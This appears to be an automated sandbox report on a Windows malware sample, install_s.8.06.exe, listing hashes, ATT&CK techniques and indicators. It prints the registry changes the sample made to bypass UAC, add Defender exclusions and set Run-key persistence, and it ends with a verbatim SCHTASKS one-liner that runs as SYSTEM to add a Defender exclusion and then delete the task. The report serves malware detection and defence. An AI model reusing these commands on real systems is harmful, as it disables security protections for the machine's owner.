b39e39232154a7290d3e9e3928fd40e4c4a4ca17991c124752c901b7056d5d3f

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/09/2026, 07:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_s.8.06.exe
Size 24.6MB
Sample260916-jpm95axbqa
SHA256 b39e39232154a7290d3e9e3928fd40e4c4a4ca17991c124752c901b7056d5d3f
MD5 bd7be616544f54ceaada95860ef8cd17
SHA1 d2120a5ef25468d1b14f00577634d186eb0fd73f
SHA512 bb61a9bc474d2cc7b0dd142a6f2c28854e313cdb6cd78d61e01a1269dfdcc161af1af571969fee256fb4a6e96c4ab1d2b111d61dd5f8e53bbbbcf640fb46413d
SSDEEP 98304:Ps0VysGFMb1oG4QOye2F3+CMkBZ76Ya227tn:ksyT/QMIHs
TLSH
T10047B59AB740CD83F517E23694679BF02326ECB48BB1934321917F59BF7E1898EE1184
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	v4evL6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	GrOcS3OF.exe

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\v4evL6 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4392	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	v4evL6.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
3512	takeown.exe
3024	icacls.exe
2020	icacls.exe
5364	icacls.exe
4820	icacls.exe
4716	icacls.exe
4584	icacls.exe
4068	icacls.exe
3220	icacls.exe
4988	icacls.exe
2236	icacls.exe
792	takeown.exe
3472	icacls.exe
456	icacls.exe
780	icacls.exe
1332	icacls.exe
3156	icacls.exe
5680	icacls.exe
3828	icacls.exe
1528	icacls.exe
4824	icacls.exe
1760	icacls.exe
3960	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\International\Geo\Nation	JrDbHS.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\International\Geo\Nation	v4evL6.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 11 IoCs

pid	Process
5676	JrDbHS.exe
5076	JrDbHS.exe
3356	v4evL6.exe
5132	3ltqn2AP.exe
4680	v4evL6.exe
5212	v4evL6.exe
1188	HB6rIfmK.exe
5300	GrOcS3OF.exe
968	yHDc9ZDz.exe
1104	v4evL6.exe
3872	3ltqn2AP.exe

Loads dropped DLL 6 IoCs

pid	Process
5676	JrDbHS.exe
5076	JrDbHS.exe
3356	v4evL6.exe
5132	3ltqn2AP.exe
1104	v4evL6.exe
3872	3ltqn2AP.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3828	icacls.exe
4824	icacls.exe
2020	icacls.exe
5680	icacls.exe
5364	icacls.exe
792	takeown.exe
1760	icacls.exe
2236	icacls.exe
3156	icacls.exe
4716	icacls.exe
780	icacls.exe
1528	icacls.exe
3220	icacls.exe
3960	icacls.exe
3024	icacls.exe
4988	icacls.exe
3472	icacls.exe
4068	icacls.exe
3512	takeown.exe
1332	icacls.exe
456	icacls.exe
4584	icacls.exe
4820	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\Buescp\\JrDbHS.exe\""	JrDbHS.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\v4evL6\\v4evL6.exe\""	v4evL6.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2836	cmd.exe
5768	cmd.exe
6124	cmd.exe
5304	cmd.exe
5412	cmd.exe
6084	cmd.exe
6012	cmd.exe
3692	cmd.exe
1132	cmd.exe
3980	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	JrDbHS.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0003000000023853-797.dat	upx
behavioral1/memory/5300-798-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/files/0x000800000002447e-831.dat	upx
behavioral1/memory/968-832-0x00007FF6AEFC0000-0x00007FF6AF3EF000-memory.dmp	upx
behavioral1/memory/5300-835-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/memory/968-863-0x00007FF6AEFC0000-0x00007FF6AF3EF000-memory.dmp	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\v4evL6	JrDbHS.exe
File created	C:\Program Files (x86)\v4evL6\XPSPLOG.dll	JrDbHS.exe
File created	C:\Program Files (x86)\e5aY31Q7j\thumbs.db	v4evL6.exe
File opened for modification	C:\Program Files (x86)\e5aY31Q7j\3ltqn2AP.exe	v4evL6.exe
File created	C:\Program Files (x86)\e5aY31Q7j\XPSPLOG.dll	v4evL6.exe
File opened for modification	C:\Program Files (x86)\e5aY31Q7j\XPSPLOG.dll	v4evL6.exe
File created	C:\Program Files (x86)\v4evL6\image.png	JrDbHS.exe
File opened for modification	C:\Program Files (x86)\v4evL6\v4evL6.exe	JrDbHS.exe
File opened for modification	C:\Program Files (x86)\e5aY31Q7j	v4evL6.exe
File opened for modification	C:\Program Files (x86)\e5aY31Q7j\image.png	v4evL6.exe
File created	C:\Program Files (x86)\v4evL6\thumbs.db	JrDbHS.exe
File opened for modification	C:\Program Files (x86)\v4evL6\XPSPLOG.dll	JrDbHS.exe
File opened for modification	C:\Program Files (x86)\v4evL6\image.png	JrDbHS.exe
File opened for modification	C:\Program Files (x86)\v4evL6\thumbs.db	JrDbHS.exe
File created	C:\Program Files (x86)\e5aY31Q7j\image.png	v4evL6.exe
File created	C:\Program Files (x86)\e5aY31Q7j\3ltqn2AP.exe	v4evL6.exe
File created	C:\Program Files (x86)\v4evL6\v4evL6.exe	JrDbHS.exe
File opened for modification	C:\Program Files (x86)\e5aY31Q7j\thumbs.db	v4evL6.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6112	sc.exe
3284	sc.exe
1324	sc.exe
5464	sc.exe
5368	sc.exe
5732	sc.exe
5972	sc.exe
652	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\ScreenSaveActive = "0"	v4evL6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	v4evL6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\SCRNSAVE.EXE	v4evL6.exe

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3840	cmd.exe
3932	cmd.exe
2456	cmd.exe
3364	cmd.exe
4076	cmd.exe
1196	cmd.exe
5472	cmd.exe
5776	cmd.exe
2252	cmd.exe
1544	cmd.exe
2904	cmd.exe
4384	cmd.exe
2460	cmd.exe
5188	cmd.exe
2892	cmd.exe
2104	cmd.exe
3300	cmd.exe
5240	cmd.exe
4756	cmd.exe
1956	cmd.exe
2080	cmd.exe
2224	cmd.exe
4720	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GrOcS3OF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3ltqn2AP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3ltqn2AP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	v4evL6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HB6rIfmK.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	v4evL6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	v4evL6.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\ScreenSaveActive = "0"	v4evL6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	v4evL6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	v4evL6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\Desktop\SCRNSAVE.EXE	v4evL6.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	JrDbHS.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5092	schtasks.exe
2960	schtasks.exe
3184	schtasks.exe
3964	schtasks.exe
5344	schtasks.exe
2560	schtasks.exe
3220	schtasks.exe
3824	schtasks.exe
4644	schtasks.exe
4340	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
3224	install_s.8.06.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe
5676	JrDbHS.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	792	takeown.exe
Token: SeRestorePrivilege	3356	v4evL6.exe
Token: SeRestorePrivilege	3220	icacls.exe
Token: SeTakeOwnershipPrivilege	3512	takeown.exe
Token: SeRestorePrivilege	4988	icacls.exe
Token: SeDebugPrivilege	4392	powershell.exe
Token: SeDebugPrivilege	1188	HB6rIfmK.exe
Token: SeIncreaseQuotaPrivilege	4392	powershell.exe
Token: SeSecurityPrivilege	4392	powershell.exe
Token: SeTakeOwnershipPrivilege	4392	powershell.exe
Token: SeLoadDriverPrivilege	4392	powershell.exe
Token: SeSystemProfilePrivilege	4392	powershell.exe
Token: SeSystemtimePrivilege	4392	powershell.exe
Token: SeProfSingleProcessPrivilege	4392	powershell.exe
Token: SeIncBasePriorityPrivilege	4392	powershell.exe
Token: SeCreatePagefilePrivilege	4392	powershell.exe
Token: SeBackupPrivilege	4392	powershell.exe
Token: SeRestorePrivilege	4392	powershell.exe
Token: SeShutdownPrivilege	4392	powershell.exe
Token: SeDebugPrivilege	4392	powershell.exe
Token: SeSystemEnvironmentPrivilege	4392	powershell.exe
Token: SeRemoteShutdownPrivilege	4392	powershell.exe
Token: SeUndockPrivilege	4392	powershell.exe
Token: SeManageVolumePrivilege	4392	powershell.exe
Token: 33	4392	powershell.exe
Token: 34	4392	powershell.exe
Token: 35	4392	powershell.exe
Token: 36	4392	powershell.exe
Token: SeIncreaseQuotaPrivilege	4392	powershell.exe
Token: SeSecurityPrivilege	4392	powershell.exe
Token: SeTakeOwnershipPrivilege	4392	powershell.exe
Token: SeLoadDriverPrivilege	4392	powershell.exe
Token: SeSystemProfilePrivilege	4392	powershell.exe
Token: SeSystemtimePrivilege	4392	powershell.exe
Token: SeProfSingleProcessPrivilege	4392	powershell.exe
Token: SeIncBasePriorityPrivilege	4392	powershell.exe
Token: SeCreatePagefilePrivilege	4392	powershell.exe
Token: SeBackupPrivilege	4392	powershell.exe
Token: SeRestorePrivilege	4392	powershell.exe
Token: SeShutdownPrivilege	4392	powershell.exe
Token: SeDebugPrivilege	4392	powershell.exe
Token: SeSystemEnvironmentPrivilege	4392	powershell.exe
Token: SeRemoteShutdownPrivilege	4392	powershell.exe
Token: SeUndockPrivilege	4392	powershell.exe
Token: SeManageVolumePrivilege	4392	powershell.exe
Token: 33	4392	powershell.exe
Token: 34	4392	powershell.exe
Token: 35	4392	powershell.exe
Token: 36	4392	powershell.exe
Token: SeIncreaseQuotaPrivilege	4392	powershell.exe
Token: SeSecurityPrivilege	4392	powershell.exe
Token: SeTakeOwnershipPrivilege	4392	powershell.exe
Token: SeLoadDriverPrivilege	4392	powershell.exe
Token: SeSystemProfilePrivilege	4392	powershell.exe
Token: SeSystemtimePrivilege	4392	powershell.exe
Token: SeProfSingleProcessPrivilege	4392	powershell.exe
Token: SeIncBasePriorityPrivilege	4392	powershell.exe
Token: SeCreatePagefilePrivilege	4392	powershell.exe
Token: SeBackupPrivilege	4392	powershell.exe
Token: SeRestorePrivilege	4392	powershell.exe
Token: SeShutdownPrivilege	4392	powershell.exe
Token: SeDebugPrivilege	4392	powershell.exe
Token: SeSystemEnvironmentPrivilege	4392	powershell.exe
Token: SeRemoteShutdownPrivilege	4392	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5300	GrOcS3OF.exe
5300	GrOcS3OF.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5676 wrote to memory of 6012	5676	JrDbHS.exe	95
PID 5676 wrote to memory of 6124	5676	JrDbHS.exe	97
PID 6012 wrote to memory of 5092	6012	cmd.exe	99
PID 6124 wrote to memory of 2960	6124	cmd.exe	100
PID 6012 wrote to memory of 2160	6012	cmd.exe	102
PID 6124 wrote to memory of 4032	6124	cmd.exe	104
PID 6012 wrote to memory of 1108	6012	cmd.exe	105
PID 5676 wrote to memory of 3692	5676	JrDbHS.exe	108
PID 6124 wrote to memory of 780	6124	cmd.exe	110
PID 3692 wrote to memory of 3184	3692	cmd.exe	112
PID 3692 wrote to memory of 1120	3692	cmd.exe	113
PID 2080 wrote to memory of 4376	2080	cmd.exe	116
PID 5676 wrote to memory of 1132	5676	JrDbHS.exe	117
PID 3692 wrote to memory of 804	3692	cmd.exe	119
PID 5676 wrote to memory of 3980	5676	JrDbHS.exe	120
PID 1132 wrote to memory of 3220	1132	cmd.exe	122
PID 3980 wrote to memory of 3824	3980	cmd.exe	123
PID 1132 wrote to memory of 4008	1132	cmd.exe	124
PID 3980 wrote to memory of 5080	3980	cmd.exe	126
PID 1132 wrote to memory of 4412	1132	cmd.exe	127
PID 3980 wrote to memory of 2000	3980	cmd.exe	128
PID 2224 wrote to memory of 4204	2224	cmd.exe	130
PID 4720 wrote to memory of 4304	4720	cmd.exe	131
PID 5676 wrote to memory of 3356	5676	JrDbHS.exe	132
PID 3356 wrote to memory of 2460	3356	v4evL6.exe	135
PID 3356 wrote to memory of 4384	3356	v4evL6.exe	137
PID 3356 wrote to memory of 4076	3356	v4evL6.exe	139
PID 3356 wrote to memory of 1196	3356	v4evL6.exe	141
PID 4384 wrote to memory of 4716	4384	cmd.exe	142
PID 3356 wrote to memory of 2836	3356	v4evL6.exe	144
PID 2836 wrote to memory of 4644	2836	cmd.exe	148
PID 1196 wrote to memory of 492	1196	cmd.exe	149
PID 3356 wrote to memory of 5304	3356	v4evL6.exe	151
PID 3356 wrote to memory of 5188	3356	v4evL6.exe	152
PID 492 wrote to memory of 4452	492	net.exe	155
PID 5188 wrote to memory of 4584	5188	cmd.exe	156
PID 5304 wrote to memory of 3964	5304	cmd.exe	157
PID 1196 wrote to memory of 5464	1196	cmd.exe	158
PID 3356 wrote to memory of 5472	3356	v4evL6.exe	159
PID 1196 wrote to memory of 5368	1196	cmd.exe	161
PID 5472 wrote to memory of 5364	5472	cmd.exe	162
PID 3356 wrote to memory of 5412	3356	v4evL6.exe	163
PID 1196 wrote to memory of 176	1196	cmd.exe	165
PID 3356 wrote to memory of 2892	3356	v4evL6.exe	166
PID 176 wrote to memory of 4804	176	net.exe	168
PID 5304 wrote to memory of 404	5304	cmd.exe	169
PID 2836 wrote to memory of 2752	2836	cmd.exe	170
PID 5412 wrote to memory of 5344	5412	cmd.exe	171
PID 2892 wrote to memory of 4820	2892	cmd.exe	173
PID 2836 wrote to memory of 5688	2836	cmd.exe	174
PID 5304 wrote to memory of 5728	5304	cmd.exe	175
PID 5412 wrote to memory of 5760	5412	cmd.exe	176
PID 1196 wrote to memory of 5732	1196	cmd.exe	177
PID 3356 wrote to memory of 5768	3356	v4evL6.exe	178
PID 3356 wrote to memory of 5776	3356	v4evL6.exe	179
PID 2104 wrote to memory of 5888	2104	cmd.exe	183
PID 3356 wrote to memory of 6084	3356	v4evL6.exe	184
PID 5412 wrote to memory of 5508	5412	cmd.exe	186
PID 1196 wrote to memory of 5972	1196	cmd.exe	187
PID 5768 wrote to memory of 4340	5768	cmd.exe	188
PID 5776 wrote to memory of 3828	5776	cmd.exe	189
PID 1196 wrote to memory of 2960	1196	cmd.exe	190
PID 2960 wrote to memory of 2160	2960	net.exe	191
PID 6084 wrote to memory of 2560	6084	cmd.exe	192

System policy modification 1 TTPs 4 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	GrOcS3OF.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	GrOcS3OF.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	v4evL6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	v4evL6.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_s.8.06.exe
"C:\Users\Admin\AppData\Local\Temp\install_s.8.06.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3224

C:\Users\Public\Buescp\JrDbHS.exe
C:\Users\Public\Buescp\JrDbHS.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Buescp\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6012
